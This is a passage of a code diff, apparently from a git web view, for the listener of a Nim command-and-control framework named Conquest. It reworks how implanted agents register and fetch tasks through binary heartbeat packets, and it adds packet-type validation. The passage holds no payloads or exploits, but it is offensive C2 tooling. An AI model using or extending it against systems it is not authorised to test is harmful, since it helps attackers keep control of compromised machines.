cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listener}.", "\n")
|
cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listenerId}.", "\n")
|
||||||
raise newException(ValueError, "Invalid listener.")
|
raise newException(ValueError, "Invalid listener.")
|
||||||
|
|
||||||
# Check if agent exists
|
# Check if agent exists
|
||||||
if not cq.dbAgentExists(agent.toUpperAscii):
|
if not cq.dbAgentExists(agentId):
|
||||||
cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent agent: {agent}.", "\n")
|
cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent agent: {agentId}.", "\n")
|
||||||
raise newException(ValueError, "Invalid agent.")
|
raise newException(ValueError, "Invalid agent.")
|
||||||
|
|
||||||
# Update the last check-in date for the accessed agent
|
# Update the last check-in date for the accessed agent
|
||||||
cq.agents[agent.toUpperAscii].latestCheckin = now()
|
cq.agents[agentId].latestCheckin = cast[int64](timestamp).fromUnix().local()
|
||||||
# if not cq.dbUpdateCheckin(agent.toUpperAscii, now().format("dd-MM-yyyy HH:mm:ss")):
|
# if not cq.dbUpdateCheckin(agent.toUpperAscii, now().format("dd-MM-yyyy HH:mm:ss")):
|
||||||
# return nil
|
# return nil
|
||||||
|
|
||||||
# Return tasks
|
# Return tasks
|
||||||
for task in cq.agents[agent.toUpperAscii].tasks:
|
for task in cq.agents[agentId].tasks:
|
||||||
let taskData = serializeTask(task)
|
let taskData = serializeTask(task)
|
||||||
result.add(taskData)
|
result.add(taskData)
|
||||||
|
|
||||||
|
|||||||
@@ -22,66 +22,26 @@ proc register*(ctx: Context) {.async.} =
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
let agentId = register(ctx.request.body.toBytes())
|
let agentId = register(ctx.request.body.toBytes())
|
||||||
resp "Ok", Http200
|
resp "", Http200
|
||||||
|
|
||||||
except CatchableError:
|
except CatchableError:
|
||||||
resp "", Http404
|
resp "", Http404
|
||||||
|
|
||||||
# try:
|
|
||||||
# let
|
|
||||||
# postData: JsonNode = parseJson(ctx.request.body)
|
|
||||||
# agentRegistrationData: AgentRegistrationData = postData.to(AgentRegistrationData)
|
|
||||||
# agentUuid: string = generateUUID()
|
|
||||||
# listenerUuid: string = ctx.getPathParams("listener")
|
|
||||||
# date: DateTime = now()
|
|
||||||
|
|
||||||
# let agent: Agent = Agent(
|
|
||||||
# name: agentUuid,
|
|
||||||
# listener: listenerUuid,
|
|
||||||
# username: agentRegistrationData.username,
|
|
||||||
# hostname: agentRegistrationData.hostname,
|
|
||||||
# domain: agentRegistrationData.domain,
|
|
||||||
# process: agentRegistrationData.process,
|
|
||||||
# pid: agentRegistrationData.pid,
|
|
||||||
# ip: agentRegistrationData.ip,
|
|
||||||
# os: agentRegistrationData.os,
|
|
||||||
# elevated: agentRegistrationData.elevated,
|
|
||||||
# sleep: agentRegistrationData.sleep,
|
|
||||||
# jitter: 0.2,
|
|
||||||
# tasks: @[],
|
|
||||||
# firstCheckin: date,
|
|
||||||
# latestCheckin: date
|
|
||||||
# )
|
|
||||||
|
|
||||||
# # Fully register agent and add it to database
|
|
||||||
# if not agent.register():
|
|
||||||
# # Either the listener the agent tries to connect to does not exist in the database, or the insertion of the agent failed
|
|
||||||
# # Return a 404 error code either way
|
|
||||||
# resp "", Http404
|
|
||||||
# return
|
|
||||||
|
|
||||||
# # If registration is successful, the agent receives it's UUID, which is then used to poll for tasks and post results
|
|
||||||
# resp agent.name
|
|
||||||
|
|
||||||
# except CatchableError:
|
|
||||||
# # JSON data is invalid or does not match the expected format (described above)
|
|
||||||
# resp "", Http404
|
|
||||||
|
|
||||||
# return
|
|
||||||
|
|
||||||
#[
|
#[
|
||||||
GET /{listener-uuid}/{agent-uuid}/tasks
|
POST /tasks
|
||||||
Called from agent to check for new tasks
|
Called from agent to check for new tasks
|
||||||
]#
|
]#
|
||||||
proc getTasks*(ctx: Context) {.async.} =
|
proc getTasks*(ctx: Context) {.async.} =
|
||||||
|
|
||||||
let
|
# Check headers
|
||||||
listener = ctx.getPathParams("listener")
|
# If POST data is not binary data, return 404 error code
|
||||||
agent = ctx.getPathParams("agent")
|
if ctx.request.contentType != "application/octet-stream":
|
||||||
|
resp "", Http404
|
||||||
|
return
|
||||||
|
|
||||||
try:
|
try:
|
||||||
var response: seq[byte]
|
var response: seq[byte]
|
||||||
let tasks: seq[seq[byte]] = getTasks(listener, agent)
|
let tasks: seq[seq[byte]] = getTasks(ctx.request.body.toBytes())
|
||||||
|
|
||||||
if tasks.len <= 0:
|
if tasks.len <= 0:
|
||||||
resp "", Http200
|
resp "", Http200
|
||||||
@@ -89,7 +49,7 @@ proc getTasks*(ctx: Context) {.async.} =
|
|||||||
|
|
||||||
# Create response, containing number of tasks, as well as length and content of each task
|
# Create response, containing number of tasks, as well as length and content of each task
|
||||||
# This makes it easier for the agent to parse the tasks
|
# This makes it easier for the agent to parse the tasks
|
||||||
response.add(uint8(tasks.len))
|
response.add(cast[uint8](tasks.len))
|
||||||
|
|
||||||
for task in tasks:
|
for task in tasks:
|
||||||
response.add(uint32(task.len).toBytes())
|
response.add(uint32(task.len).toBytes())
|
||||||
|
|||||||
@@ -67,7 +67,7 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) =
|
|||||||
|
|
||||||
# Define API endpoints
|
# Define API endpoints
|
||||||
listener.post("register", routes.register)
|
listener.post("register", routes.register)
|
||||||
listener.get("{listener}/{agent}/tasks", routes.getTasks)
|
listener.post("tasks", routes.getTasks)
|
||||||
listener.post("results", routes.postResults)
|
listener.post("results", routes.postResults)
|
||||||
listener.registerErrorHandler(Http404, routes.error404)
|
listener.registerErrorHandler(Http404, routes.error404)
|
||||||
|
|
||||||
@@ -100,7 +100,7 @@ proc restartListeners*(cq: Conquest) =
|
|||||||
|
|
||||||
# Define API endpoints
|
# Define API endpoints
|
||||||
listener.post("register", routes.register)
|
listener.post("register", routes.register)
|
||||||
listener.get("{listener}/{agent}/tasks", routes.getTasks)
|
listener.post("tasks", routes.getTasks)
|
||||||
listener.post("results", routes.postResults)
|
listener.post("results", routes.postResults)
|
||||||
listener.registerErrorHandler(Http404, routes.error404)
|
listener.registerErrorHandler(Http404, routes.error404)
|
||||||
|
|
||||||
|
|||||||
@@ -60,6 +60,9 @@ proc deserializeTaskResult*(resultData: seq[byte]): TaskResult =
|
|||||||
if magic != MAGIC:
|
if magic != MAGIC:
|
||||||
raise newException(CatchableError, "Invalid magic bytes.")
|
raise newException(CatchableError, "Invalid magic bytes.")
|
||||||
|
|
||||||
|
if packetType != cast[uint8](MSG_RESPONSE):
|
||||||
|
raise newException(CatchableError, "Invalid packet type for task result, expected MSG_RESPONSE.")
|
||||||
|
|
||||||
# TODO: Validate sequence number
|
# TODO: Validate sequence number
|
||||||
|
|
||||||
# TODO: Validate HMAC
|
# TODO: Validate HMAC
|
||||||
@@ -120,6 +123,9 @@ proc deserializeNewAgent*(data: seq[byte]): Agent =
|
|||||||
if magic != MAGIC:
|
if magic != MAGIC:
|
||||||
raise newException(CatchableError, "Invalid magic bytes.")
|
raise newException(CatchableError, "Invalid magic bytes.")
|
||||||
|
|
||||||
|
if packetType != cast[uint8](MSG_REGISTER):
|
||||||
|
raise newException(CatchableError, "Invalid packet type for agent registration, expected MSG_REGISTER.")
|
||||||
|
|
||||||
# TODO: Validate sequence number
|
# TODO: Validate sequence number
|
||||||
|
|
||||||
# TODO: Validate HMAC
|
# TODO: Validate HMAC
|
||||||
@@ -158,5 +164,48 @@ proc deserializeNewAgent*(data: seq[byte]): Agent =
|
|||||||
latestCheckin: now()
|
latestCheckin: now()
|
||||||
)
|
)
|
||||||
|
|
||||||
|
proc deserializeHeartbeat*(data: seq[byte]): Heartbeat =
|
||||||
|
|
||||||
|
var unpacker = initUnpacker(data.toString)
|
||||||
|
|
||||||
|
let
|
||||||
|
magic = unpacker.getUint32()
|
||||||
|
version = unpacker.getUint8()
|
||||||
|
packetType = unpacker.getUint8()
|
||||||
|
flags = unpacker.getUint16()
|
||||||
|
seqNr = unpacker.getUint32()
|
||||||
|
size = unpacker.getUint32()
|
||||||
|
hmacBytes = unpacker.getBytes(16)
|
||||||
|
|
||||||
|
# Explicit conversion from seq[byte] to array[16, byte]
|
||||||
|
var hmac: array[16, byte]
|
||||||
|
copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16)
|
||||||
|
|
||||||
|
# Packet Validation
|
||||||
|
if magic != MAGIC:
|
||||||
|
raise newException(CatchableError, "Invalid magic bytes.")
|
||||||
|
|
||||||
|
if packetType != cast[uint8](MSG_HEARTBEAT):
|
||||||
|
raise newException(CatchableError, "Invalid packet type for checkin request, expected MSG_HEARTBEAT.")
|
||||||
|
|
||||||
|
# TODO: Validate sequence number
|
||||||
|
|
||||||
|
# TODO: Validate HMAC
|
||||||
|
|
||||||
|
# TODO: Decrypt payload
|
||||||
|
# let payload = unpacker.getBytes(size)
|
||||||
|
|
||||||
|
return Heartbeat(
|
||||||
|
header: Header(
|
||||||
|
magic: magic,
|
||||||
|
version: version,
|
||||||
|
packetType: packetType,
|
||||||
|
flags: flags,
|
||||||
|
seqNr: seqNr,
|
||||||
|
size: size,
|
||||||
|
hmac: hmac
|
||||||
|
),
|
||||||
|
agentId: unpacker.getUint32(),
|
||||||
|
listenerId: unpacker.getUint32(),
|
||||||
|
timestamp: unpacker.getUint32()
|
||||||
|
)
|
||||||
Reference in New Issue
Block a user